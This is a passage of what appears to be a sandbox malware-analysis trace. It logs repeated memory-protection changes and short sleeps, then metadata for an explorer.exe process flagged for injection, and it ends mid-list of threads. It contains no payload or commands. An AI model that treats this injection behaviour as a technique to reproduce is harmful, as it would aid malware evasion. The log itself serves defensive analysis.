ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.810] Sleep (dwMilliseconds=0x5) [0370.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.957] Sleep (dwMilliseconds=0x5) [0371.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.036] Sleep (dwMilliseconds=0x5) [0371.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.143] Sleep (dwMilliseconds=0x5) [0371.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.189] Sleep (dwMilliseconds=0x5) [0371.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.239] Sleep (dwMilliseconds=0x5) [0371.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.289] Sleep (dwMilliseconds=0x5) [0371.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.332] Sleep (dwMilliseconds=0x5) [0371.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.380] Sleep (dwMilliseconds=0x5) [0371.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.425] Sleep (dwMilliseconds=0x5) [0371.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.473] Sleep (dwMilliseconds=0x5) [0371.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.706] Sleep (dwMilliseconds=0x5) [0371.792] Sleep (dwMilliseconds=0x5) [0371.907] Sleep (dwMilliseconds=0x5) [0371.945] Sleep (dwMilliseconds=0x5) [0372.118] Sleep (dwMilliseconds=0x5) [0372.144] Sleep (dwMilliseconds=0x5) [0372.172] Sleep (dwMilliseconds=0x5) [0372.213] Sleep (dwMilliseconds=0x5) [0372.253] Sleep (dwMilliseconds=0x5) [0372.283] Sleep (dwMilliseconds=0x5) [0372.303] Sleep (dwMilliseconds=0x5) [0372.324] Sleep (dwMilliseconds=0x5) [0372.340] Sleep (dwMilliseconds=0x5) [0372.355] Sleep (dwMilliseconds=0x5) [0372.371] Sleep (dwMilliseconds=0x5) [0372.387] Sleep (dwMilliseconds=0x5) [0372.414] Sleep (dwMilliseconds=0x5) [0372.434] Sleep (dwMilliseconds=0x5) [0372.449] Sleep (dwMilliseconds=0x5) [0372.465] Sleep (dwMilliseconds=0x5) [0372.481] Sleep (dwMilliseconds=0x5) [0372.496] Sleep (dwMilliseconds=0x5) [0372.512] Sleep (dwMilliseconds=0x5) [0372.528] Sleep (dwMilliseconds=0x5) [0372.543] Sleep (dwMilliseconds=0x5) [0372.558] Sleep (dwMilliseconds=0x5) [0372.576] Sleep (dwMilliseconds=0x5) [0372.606] Sleep (dwMilliseconds=0x5) [0372.621] Sleep (dwMilliseconds=0x5) [0372.637] Sleep (dwMilliseconds=0x5) [0372.652] Sleep (dwMilliseconds=0x5) [0372.668] Sleep (dwMilliseconds=0x5) [0372.684] Sleep (dwMilliseconds=0x5) [0372.699] Sleep (dwMilliseconds=0x5) [0372.715] Sleep (dwMilliseconds=0x5) [0372.730] Sleep (dwMilliseconds=0x5) [0372.800] Sleep (dwMilliseconds=0x5) [0372.822] Sleep (dwMilliseconds=0x5) [0372.852] Sleep (dwMilliseconds=0x5) [0372.880] Sleep (dwMilliseconds=0x5) [0373.036] Sleep (dwMilliseconds=0x5) [0373.113] Sleep (dwMilliseconds=0x5) [0373.129] Sleep (dwMilliseconds=0x5) [0373.184] Sleep (dwMilliseconds=0x5) [0373.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.244] Sleep (dwMilliseconds=0x5) [0373.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.287] Sleep (dwMilliseconds=0x5) [0373.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.334] Sleep (dwMilliseconds=0x5) [0373.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.377] Sleep (dwMilliseconds=0x5) [0373.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.438] Sleep (dwMilliseconds=0x5) [0373.465] Sleep (dwMilliseconds=0x5) [0373.480] Sleep (dwMilliseconds=0x5) [0373.496] Sleep (dwMilliseconds=0x5) [0373.515] Sleep (dwMilliseconds=0x5) [0373.527] Sleep (dwMilliseconds=0x5) [0373.543] Sleep (dwMilliseconds=0x5) [0373.559] Sleep (dwMilliseconds=0x5) [0373.575] Sleep (dwMilliseconds=0x5) [0373.604] Sleep (dwMilliseconds=0x5) [0373.622] Sleep (dwMilliseconds=0x5) [0373.640] Sleep (dwMilliseconds=0x5) [0373.652] Sleep (dwMilliseconds=0x5) [0373.669] Sleep (dwMilliseconds=0x5) [0373.699] Sleep (dwMilliseconds=0x5) [0373.715] Sleep (dwMilliseconds=0x5) [0373.731] Sleep (dwMilliseconds=0x5) [0373.756] Sleep (dwMilliseconds=0x5) [0373.777] Sleep (dwMilliseconds=0x5) [0373.794] Sleep (dwMilliseconds=0x5) [0373.809] Sleep (dwMilliseconds=0x5) [0373.824] Sleep (dwMilliseconds=0x5) [0373.839] Sleep (dwMilliseconds=0x5) [0373.855] Sleep (dwMilliseconds=0x5) [0373.871] Sleep (dwMilliseconds=0x5) [0373.886] Sleep (dwMilliseconds=0x5) [0373.902] Sleep (dwMilliseconds=0x5) [0373.918] Sleep (dwMilliseconds=0x5) [0373.933] Sleep (dwMilliseconds=0x5) [0373.949] Sleep (dwMilliseconds=0x5) [0373.965] Sleep (dwMilliseconds=0x5) [0373.980] Sleep (dwMilliseconds=0x5) [0373.996] Sleep (dwMilliseconds=0x5) [0374.011] Sleep (dwMilliseconds=0x5) [0374.027] Sleep (dwMilliseconds=0x5) [0374.043] Sleep (dwMilliseconds=0x5) [0374.112] Sleep (dwMilliseconds=0x5) [0374.121] Sleep (dwMilliseconds=0x5) [0374.136] Sleep (dwMilliseconds=0x5) [0374.152] Sleep (dwMilliseconds=0x5) [0374.168] Sleep (dwMilliseconds=0x5) [0374.183] Sleep (dwMilliseconds=0x5) [0374.199] Sleep (dwMilliseconds=0x5) [0374.256] Sleep (dwMilliseconds=0x5) [0374.261] Sleep (dwMilliseconds=0x5) [0374.306] Sleep (dwMilliseconds=0x5) [0374.386] Sleep (dwMilliseconds=0x5) [0374.436] Sleep (dwMilliseconds=0x5) [0374.485] Sleep (dwMilliseconds=0x5) [0374.528] Sleep (dwMilliseconds=0x5) [0374.574] Sleep (dwMilliseconds=0x5) [0374.624] Sleep (dwMilliseconds=0x5) [0374.672] Sleep (dwMilliseconds=0x5) [0374.715] Sleep (dwMilliseconds=0x5) [0374.761] Sleep (dwMilliseconds=0x5) [0374.808] Sleep (dwMilliseconds=0x5) [0374.855] Sleep (dwMilliseconds=0x5) [0374.902] Sleep (dwMilliseconds=0x5) [0374.949] Sleep (dwMilliseconds=0x5) [0374.996] Sleep (dwMilliseconds=0x5) [0375.043] Sleep (dwMilliseconds=0x5) [0375.168] Sleep (dwMilliseconds=0x5) [0375.214] Sleep (dwMilliseconds=0x5) [0375.262] Sleep (dwMilliseconds=0x5) [0375.296] Sleep (dwMilliseconds=0x5) [0375.340] Sleep (dwMilliseconds=0x5) [0375.386] Sleep (dwMilliseconds=0x5) [0375.438] Sleep (dwMilliseconds=0x5) [0375.480] Sleep (dwMilliseconds=0x5) [0375.527] Sleep (dwMilliseconds=0x5) [0375.574] Sleep (dwMilliseconds=0x5) [0375.623] Sleep (dwMilliseconds=0x5) [0375.668] Sleep (dwMilliseconds=0x5) [0375.714] Sleep (dwMilliseconds=0x5) [0375.761] Sleep (dwMilliseconds=0x5) [0375.809] Sleep (dwMilliseconds=0x5) [0375.908] Sleep (dwMilliseconds=0x5) [0375.953] Sleep (dwMilliseconds=0x5) [0376.013] Sleep (dwMilliseconds=0x5) [0376.060] Sleep (dwMilliseconds=0x5) [0376.153] Sleep (dwMilliseconds=0x5) [0376.200] Sleep (dwMilliseconds=0x5) [0376.247] Sleep (dwMilliseconds=0x5) [0376.295] Sleep (dwMilliseconds=0x5) [0376.341] Sleep (dwMilliseconds=0x5) [0376.378] Sleep (dwMilliseconds=0x5) [0376.420] Sleep (dwMilliseconds=0x5) [0376.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.520] Sleep (dwMilliseconds=0x5) [0376.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.626] Sleep (dwMilliseconds=0x5) [0376.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.711] Sleep (dwMilliseconds=0x5) [0376.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.805] Sleep (dwMilliseconds=0x5) [0376.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.899] Sleep (dwMilliseconds=0x5) [0376.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.002] Sleep (dwMilliseconds=0x5) [0377.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.231] Sleep (dwMilliseconds=0x5) [0377.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.322] Sleep (dwMilliseconds=0x5) [0377.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.415] Sleep (dwMilliseconds=0x5) [0377.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.512] Sleep (dwMilliseconds=0x5) [0377.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.604] Sleep (dwMilliseconds=0x5) [0377.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.771] Sleep (dwMilliseconds=0x5) [0377.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.868] Sleep (dwMilliseconds=0x5) [0377.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.949] Sleep (dwMilliseconds=0x5) [0378.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.024] Sleep (dwMilliseconds=0x5) [0378.071] Sleep (dwMilliseconds=0x5) [0378.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.227] Sleep (dwMilliseconds=0x5) [0378.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.325] Sleep (dwMilliseconds=0x5) [0378.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.763] Sleep (dwMilliseconds=0x5) [0378.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0378.970] Sleep (dwMilliseconds=0x5) [0379.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.087] Sleep (dwMilliseconds=0x5) [0379.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.227] Sleep (dwMilliseconds=0x5) [0379.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.321] Sleep (dwMilliseconds=0x5) [0379.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.414] Sleep (dwMilliseconds=0x5) [0379.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.508] Sleep (dwMilliseconds=0x5) [0379.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.602] Sleep (dwMilliseconds=0x5) [0379.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.696] Sleep (dwMilliseconds=0x5) [0379.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.789] Sleep (dwMilliseconds=0x5) [0379.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.883] Sleep (dwMilliseconds=0x5) [0379.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0379.957] Sleep (dwMilliseconds=0x5) [0380.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.041] Sleep (dwMilliseconds=0x5) [0380.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.187] Sleep (dwMilliseconds=0x5) [0380.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.340] Sleep (dwMilliseconds=0x5) [0380.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.461] Sleep (dwMilliseconds=0x5) [0380.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.586] Sleep (dwMilliseconds=0x5) [0380.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.715] Sleep (dwMilliseconds=0x5) [0380.850] NtProtectVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1) Thread: id = 11 os_tid = 0x1340 Process: id = "3" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x46d7a000" os_pid = "0x560" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "2" os_parent_pid = "0xffffffffffffffff" cmd_line = "C:\\WINDOWS\\Explorer.EXE" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0xcb4 Thread: id = 13 os_tid = 0xcb0 Thread: id = 14 os_tid = 0xcac Thread: id = 15 os_tid = 0xca8 Thread: id = 16 os_tid = 0xca0 Thread: id = 17 os_tid = 0xc9c Thread: id = 18 os_tid = 0xc98 Thread: id = 19 os_tid = 0xc94 Thread: id = 20 os_tid = 0xc70 Thread: id = 21 os_tid = 0xc3c Thread: id = 22 os_tid = 0xc38 Thread: id = 23 os_tid = 0xc34 Thread: id = 24 os_tid = 0x6e4 Thread: id = 25 os_tid = 0x880 Thread: id = 26 os_tid = 0xb10 Thread: id = 27 os_tid = 0xaf8 Thread: id = 28 os_tid = 0xaf4 Thread: id = 29 os_tid = 0xaf0 Thread: id = 30 os_tid = 0xaec Thread: id = 31 os_tid = 0xae8 Thread: id = 32 os_tid = 0xae4 Thread: id = 33 os_tid = 0xae0 Thread: id = 34 os_tid = 0xadc Thread: id = 35 os_tid = 0xad8 Thread: id = 36 os_tid = 0xad4 Thread: id = 37 os_tid = 0xad0 Thread: id = 38 